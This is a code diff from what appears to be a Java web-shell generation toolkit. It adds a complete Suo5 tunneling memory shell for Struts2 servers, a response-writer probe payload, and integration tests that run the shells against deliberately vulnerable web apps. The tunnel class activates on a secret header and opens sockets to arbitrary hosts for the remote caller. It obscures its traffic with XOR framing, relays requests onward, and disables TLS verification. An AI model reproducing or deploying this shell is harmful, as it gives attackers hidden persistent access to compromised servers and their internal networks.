return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
try {
|
||||
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+91
File diff suppressed because one or more lines are too long
+560
@@ -0,0 +1,560 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.suo5;
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/15
|
||||
*/
|
||||
public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
public static HashMap addrs = collectAddr();
|
||||
public static HashMap ctx = new HashMap();
|
||||
|
||||
InputStream gInStream;
|
||||
OutputStream gOutStream;
|
||||
|
||||
public Suo5Struct2Action() {
|
||||
}
|
||||
|
||||
public Suo5Struct2Action(InputStream in, OutputStream out) {
|
||||
this.gInStream = in;
|
||||
this.gOutStream = out;
|
||||
}
|
||||
|
||||
public void execute() throws Exception {
|
||||
try {
|
||||
Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
|
||||
Object context = clazz.getMethod("getContext").invoke(null);
|
||||
Method getMethod = clazz.getMethod("get", String.class);
|
||||
HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
|
||||
HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
|
||||
String contentType = request.getContentType();
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)
|
||||
&& contentType != null) {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return;
|
||||
}
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
int bufferOffset = 0;
|
||||
while (bufferOffset < b.length) {
|
||||
int readLength = b.length - bufferOffset;
|
||||
int readResult = is.read(b, bufferOffset, readLength);
|
||||
if (readResult == -1) break;
|
||||
bufferOffset += readResult;
|
||||
}
|
||||
}
|
||||
|
||||
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
|
||||
InputStream in = request.getInputStream();
|
||||
byte[] data = new byte[32];
|
||||
readFull(in, data);
|
||||
OutputStream out = response.getOutputStream();
|
||||
out.write(data);
|
||||
out.flush();
|
||||
}
|
||||
|
||||
|
||||
private HashMap newCreate(byte s) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x04});
|
||||
m.put("s", new byte[]{s});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newData(byte[] data) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x01});
|
||||
m.put("dt", data);
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newDel() {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x02});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newStatus(byte b) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("s", new byte[]{b});
|
||||
return m;
|
||||
}
|
||||
|
||||
byte[] u32toBytes(int i) {
|
||||
byte[] result = new byte[4];
|
||||
result[0] = (byte) (i >> 24);
|
||||
result[1] = (byte) (i >> 16);
|
||||
result[2] = (byte) (i >> 8);
|
||||
result[3] = (byte) (i /*>> 0*/);
|
||||
return result;
|
||||
}
|
||||
|
||||
int bytesToU32(byte[] bytes) {
|
||||
return ((bytes[0] & 0xFF) << 24) |
|
||||
((bytes[1] & 0xFF) << 16) |
|
||||
((bytes[2] & 0xFF) << 8) |
|
||||
((bytes[3] & 0xFF) << 0);
|
||||
}
|
||||
|
||||
synchronized void put(String k, Object v) {
|
||||
ctx.put(k, v);
|
||||
}
|
||||
|
||||
synchronized Object get(String k) {
|
||||
return ctx.get(k);
|
||||
}
|
||||
|
||||
synchronized Object remove(String k) {
|
||||
return ctx.remove(k);
|
||||
}
|
||||
|
||||
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||
int newLength = to - from;
|
||||
if (newLength < 0) {
|
||||
throw new IllegalArgumentException(from + " > " + to);
|
||||
}
|
||||
byte[] copy = new byte[newLength];
|
||||
int copyLength = Math.min(original.length - from, newLength);
|
||||
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||
for (int i = 0; i < copyLength; i++) {
|
||||
copy[i] = original[from + i];
|
||||
}
|
||||
return copy;
|
||||
}
|
||||
|
||||
|
||||
private byte[] marshal(HashMap m) throws IOException {
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
Object[] keys = m.keySet().toArray();
|
||||
for (int i = 0; i < keys.length; i++) {
|
||||
String key = (String) keys[i];
|
||||
byte[] value = (byte[]) m.get(key);
|
||||
buf.write((byte) key.length());
|
||||
buf.write(key.getBytes());
|
||||
buf.write(u32toBytes(value.length));
|
||||
buf.write(value);
|
||||
}
|
||||
|
||||
byte[] data = buf.toByteArray();
|
||||
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||
dbuf.putInt(data.length);
|
||||
// xor key
|
||||
byte key = (byte) ((Math.random() * 255) + 1);
|
||||
dbuf.put(key);
|
||||
for (int i = 0; i < data.length; i++) {
|
||||
data[i] = (byte) (data[i] ^ key);
|
||||
}
|
||||
dbuf.put(data);
|
||||
return dbuf.array();
|
||||
}
|
||||
|
||||
private HashMap unmarshal(InputStream in) throws Exception {
|
||||
byte[] header = new byte[4 + 1]; // size and datatype
|
||||
readFull(in, header);
|
||||
// read full
|
||||
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||
int len = bb.getInt();
|
||||
int x = bb.get();
|
||||
if (len > 1024 * 1024 * 32) {
|
||||
throw new IOException("invalid len");
|
||||
}
|
||||
byte[] bs = new byte[len];
|
||||
readFull(in, bs);
|
||||
for (int i = 0; i < bs.length; i++) {
|
||||
bs[i] = (byte) (bs[i] ^ x);
|
||||
}
|
||||
HashMap m = new HashMap();
|
||||
byte[] buf;
|
||||
for (int i = 0; i < bs.length - 1; ) {
|
||||
short kLen = bs[i];
|
||||
i += 1;
|
||||
if (i + kLen >= bs.length) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
if (kLen < 0) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + kLen);
|
||||
String key = new String(buf);
|
||||
i += kLen;
|
||||
|
||||
if (i + 4 >= bs.length) {
|
||||
throw new Exception("value len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + 4);
|
||||
int vLen = bytesToU32(buf);
|
||||
i += 4;
|
||||
if (vLen < 0) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
|
||||
if (i + vLen > bs.length) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||
i += vLen;
|
||||
|
||||
m.put(key, value);
|
||||
}
|
||||
return m;
|
||||
}
|
||||
|
||||
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
|
||||
final InputStream reqInputStream = request.getInputStream();
|
||||
HashMap dataMap = unmarshal(reqInputStream);
|
||||
|
||||
byte[] action = (byte[]) dataMap.get("ac");
|
||||
if (action.length != 1 || action[0] != 0x00) {
|
||||
resp.setStatus(403);
|
||||
return;
|
||||
}
|
||||
resp.setBufferSize(512);
|
||||
final OutputStream respOutStream = resp.getOutputStream();
|
||||
|
||||
// 0x00 create socket
|
||||
resp.setHeader("X-Accel-Buffering", "no");
|
||||
Socket sc;
|
||||
try {
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
// Cannot convert Integer to int
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
} catch (Exception e) {
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.flushBuffer();
|
||||
|
||||
final OutputStream scOutStream = sc.getOutputStream();
|
||||
final InputStream scInStream = sc.getInputStream();
|
||||
|
||||
Thread t = null;
|
||||
try {
|
||||
Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream);
|
||||
t = new Thread(p);
|
||||
t.start();
|
||||
readReq(reqInputStream, scOutStream);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("pipe error, %s\n", e);
|
||||
} finally {
|
||||
sc.close();
|
||||
respOutStream.close();
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||
byte[] readBuf = new byte[1024 * 8];
|
||||
while (true) {
|
||||
int n = inputStream.read(readBuf);
|
||||
if (n <= 0) {
|
||||
break;
|
||||
}
|
||||
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||
if (needMarshal) {
|
||||
dataTmp = marshal(newData(dataTmp));
|
||||
}
|
||||
outputStream.write(dataTmp);
|
||||
outputStream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||
while (true) {
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(bufInputStream);
|
||||
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
return;
|
||||
}
|
||||
byte action = actions[0];
|
||||
if (action == 0x02) {
|
||||
socketOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
socketOutStream.write(data);
|
||||
socketOutStream.flush();
|
||||
}
|
||||
} else if (action == 0x03) {
|
||||
continue;
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
|
||||
Exception {
|
||||
InputStream is = request.getInputStream();
|
||||
BufferedInputStream reader = new BufferedInputStream(is);
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(reader);
|
||||
|
||||
|
||||
String clientId = new String((byte[]) dataMap.get("id"));
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
resp.setStatus(403);
|
||||
return;
|
||||
}
|
||||
/*
|
||||
ActionCreate byte = 0x00
|
||||
ActionData byte = 0x01
|
||||
ActionDelete byte = 0x02
|
||||
ActionHeartbeat byte = 0x03
|
||||
*/
|
||||
byte action = actions[0];
|
||||
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||
String redirectUrl = "";
|
||||
if (needRedirect) {
|
||||
dataMap.remove("r");
|
||||
redirectUrl = new String(redirectData);
|
||||
needRedirect = !isLocalAddr(redirectUrl);
|
||||
}
|
||||
// load balance, send request with data to request url
|
||||
// action 0x00 need to pipe, see below
|
||||
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||
conn.disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
resp.setBufferSize(512);
|
||||
OutputStream respOutStream = resp.getOutputStream();
|
||||
if (action == 0x02) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) return;
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
scOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) {
|
||||
respOutStream.write(marshal(newDel()));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
scOutStream.write(data);
|
||||
scOutStream.flush();
|
||||
}
|
||||
respOutStream.close();
|
||||
return;
|
||||
} else {
|
||||
}
|
||||
|
||||
if (action != 0x00) {
|
||||
return;
|
||||
}
|
||||
// 0x00 create new tunnel
|
||||
resp.setHeader("X-Accel-Buffering", "no");
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
|
||||
InputStream readFrom;
|
||||
Socket sc = null;
|
||||
HttpURLConnection conn = null;
|
||||
|
||||
if (needRedirect) {
|
||||
// pipe redirect stream and current response body
|
||||
conn = redirect(request, dataMap, redirectUrl);
|
||||
readFrom = conn.getInputStream();
|
||||
} else {
|
||||
// pipe socket stream and current response body
|
||||
try {
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
readFrom = sc.getInputStream();
|
||||
this.put(clientId, sc.getOutputStream());
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.flushBuffer();
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("connect error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
this.remove(clientId);
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
try {
|
||||
readSocket(readFrom, respOutStream, !needRedirect);
|
||||
} catch (Exception e) {
|
||||
// System.out.println("socket error " + e.toString());
|
||||
// e.printStackTrace();
|
||||
} finally {
|
||||
if (sc != null) {
|
||||
sc.close();
|
||||
}
|
||||
if (conn != null) {
|
||||
conn.disconnect();
|
||||
}
|
||||
respOutStream.close();
|
||||
this.remove(clientId);
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
readSocket(gInStream, gOutStream, true);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static HashMap collectAddr() {
|
||||
HashMap addrs = new HashMap();
|
||||
try {
|
||||
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||
while (nifs.hasMoreElements()) {
|
||||
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||
Enumeration addresses = nif.getInetAddresses();
|
||||
while (addresses.hasMoreElements()) {
|
||||
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||
String s = addr.getHostAddress();
|
||||
if (s != null) {
|
||||
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||
int ifaceIndex = s.indexOf('%');
|
||||
if (ifaceIndex != -1) {
|
||||
s = s.substring(0, ifaceIndex);
|
||||
}
|
||||
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
return addrs;
|
||||
}
|
||||
|
||||
boolean isLocalAddr(String url) throws Exception {
|
||||
String ip = (new URL(url)).getHost();
|
||||
return addrs.containsKey(ip);
|
||||
}
|
||||
|
||||
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
|
||||
String method = request.getMethod();
|
||||
URL u = new URL(rUrl);
|
||||
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||
conn.setRequestMethod(method);
|
||||
try {
|
||||
// conn.setConnectTimeout(3000);
|
||||
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||
// conn.setReadTimeout(0);
|
||||
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||
} catch (Exception e) {
|
||||
// java1.4
|
||||
}
|
||||
conn.setDoOutput(true);
|
||||
conn.setDoInput(true);
|
||||
|
||||
// ignore ssl verify
|
||||
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||
}
|
||||
|
||||
byte[] newBody = marshal(dataMap);
|
||||
Enumeration headers = request.getHeaderNames();
|
||||
while (headers.hasMoreElements()) {
|
||||
String k = (String) headers.nextElement();
|
||||
if (k.equals("Content-Length")) {
|
||||
conn.setRequestProperty(k, String.valueOf(newBody.length));
|
||||
continue;
|
||||
} else if (k.equals("Host")) {
|
||||
conn.setRequestProperty(k, u.getHost());
|
||||
continue;
|
||||
} else if (k.equals("Connection")) {
|
||||
conn.setRequestProperty(k, "close");
|
||||
continue;
|
||||
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
|
||||
continue;
|
||||
} else {
|
||||
conn.setRequestProperty(k, request.getHeader(k));
|
||||
}
|
||||
}
|
||||
|
||||
OutputStream rout = conn.getOutputStream();
|
||||
rout.write(newBody);
|
||||
rout.flush();
|
||||
rout.close();
|
||||
conn.getResponseCode();
|
||||
return conn;
|
||||
}
|
||||
|
||||
public boolean verify(String hostname, SSLSession session) {
|
||||
return true;
|
||||
}
|
||||
|
||||
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return new X509Certificate[0];
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
+1172
File diff suppressed because it is too large
Load Diff
+1182
File diff suppressed because it is too large
Load Diff
+1189
File diff suppressed because it is too large
Load Diff
+1123
File diff suppressed because it is too large
Load Diff
+1188
File diff suppressed because it is too large
Load Diff
+1183
File diff suppressed because it is too large
Load Diff
+1191
File diff suppressed because it is too large
Load Diff
+1174
File diff suppressed because it is too large
Load Diff
+1174
File diff suppressed because it is too large
Load Diff
+1199
File diff suppressed because it is too large
Load Diff
+2
@@ -102,6 +102,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
||||
return WebLogicWriter.class;
|
||||
case Server.Apusic:
|
||||
return ApusicWriter.class;
|
||||
case Server.Struct2:
|
||||
return Struct2Writer.class;
|
||||
default:
|
||||
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
|
||||
}
|
||||
|
||||
+87
@@ -0,0 +1,87 @@
|
||||
package com.reajason.javaweb.probe.payload.response;
|
||||
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/8
|
||||
*/
|
||||
public class Struct2Writer {
|
||||
private static boolean ok = false;
|
||||
|
||||
public Struct2Writer() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Class<?> clazz = Thread.currentThread().getContextClassLoader().loadClass("com.opensymphony.xwork2.ActionContext");
|
||||
Object context = clazz.getMethod("getContext").invoke(null);
|
||||
Method getMethod = clazz.getMethod("get", String.class);
|
||||
Object request = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
|
||||
Object response = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
|
||||
String data = getDataFromReq(request);
|
||||
if (data != null && !data.isEmpty()) {
|
||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||
try {
|
||||
writer.write(run(data));
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
e.printStackTrace(writer);
|
||||
}
|
||||
writer.flush();
|
||||
writer.close();
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
ok = true;
|
||||
}
|
||||
}
|
||||
|
||||
private String getDataFromReq(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private String run(String data) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
}
|
||||
@@ -16,6 +16,7 @@ public class ContainerTool {
|
||||
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
|
||||
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
|
||||
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath());
|
||||
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
|
||||
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
|
||||
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
|
||||
public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
|
||||
|
||||
@@ -14,7 +14,6 @@ import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.packer.jar.*;
|
||||
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
|
||||
import com.reajason.javaweb.suo5.Suo5Manager;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
@@ -71,6 +70,7 @@ public class ShellAssertion {
|
||||
|| shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER)
|
||||
|| shellType.equals(ShellType.SPRING_WEBFLUX_HANDLER_METHOD)
|
||||
|| shellType.equals(ShellType.SPRING_WEBFLUX_HANDLER_FUNCTION)
|
||||
|| shellType.equals(ShellType.ACTION)
|
||||
) {
|
||||
urlPattern = "/" + shellTool + shellType + packer.name();
|
||||
shellUrl = url + urlPattern;
|
||||
@@ -233,7 +233,8 @@ public class ShellAssertion {
|
||||
behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
|
||||
break;
|
||||
case Suo5:
|
||||
suo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig()));
|
||||
case Suo5v2:
|
||||
suo5IsOk(shellTool, shellUrl, ((Suo5Config) generateResult.getShellToolConfig()));
|
||||
break;
|
||||
case AntSword:
|
||||
antSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
|
||||
@@ -300,8 +301,8 @@ public class ShellAssertion {
|
||||
assertTrue(behinderManager.test());
|
||||
}
|
||||
|
||||
public static void suo5IsOk(String entrypoint, Suo5Config shellConfig) {
|
||||
assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue()));
|
||||
public static void suo5IsOk(String shellTool, String entrypoint, Suo5Config shellConfig) {
|
||||
assertTrue(Suo5Manager.test(shellTool, entrypoint, shellConfig.getHeaderValue()));
|
||||
}
|
||||
|
||||
public static void antSwordIsOk(String entrypoint, AntSwordConfig shellConfig) {
|
||||
@@ -342,6 +343,7 @@ public class ShellAssertion {
|
||||
log.info("generated {} behinder with pass: {}, User-Agent: {}", shellType, behinderPass, uniqueName);
|
||||
break;
|
||||
case Suo5:
|
||||
case Suo5v2:
|
||||
shellToolConfig = Suo5Config.builder()
|
||||
.headerName("User-Agent")
|
||||
.headerValue(uniqueName)
|
||||
@@ -480,7 +482,8 @@ public class ShellAssertion {
|
||||
assertThat(res, anyOf(
|
||||
Matchers.containsString("context: "),
|
||||
Matchers.containsString("server: "),
|
||||
Matchers.containsString("channel: ")
|
||||
Matchers.containsString("channel: "),
|
||||
Matchers.containsString("namespace: ")
|
||||
|
||||
));
|
||||
ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id");
|
||||
|
||||
+9
-3
@@ -3,10 +3,12 @@ package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.lang3.tuple.Triple;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
@@ -49,12 +51,12 @@ public class GlassFish3ContainerTest {
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
@BeforeAll
|
||||
static void setup() {
|
||||
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
|
||||
container.waitingFor(Wait.forHttp("/app"));
|
||||
}
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
@@ -67,7 +69,11 @@ public class GlassFish3ContainerTest {
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
List<Triple<String, String, Packers>> unSupportedCases = List.of(
|
||||
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar), // request.inputStream is empty
|
||||
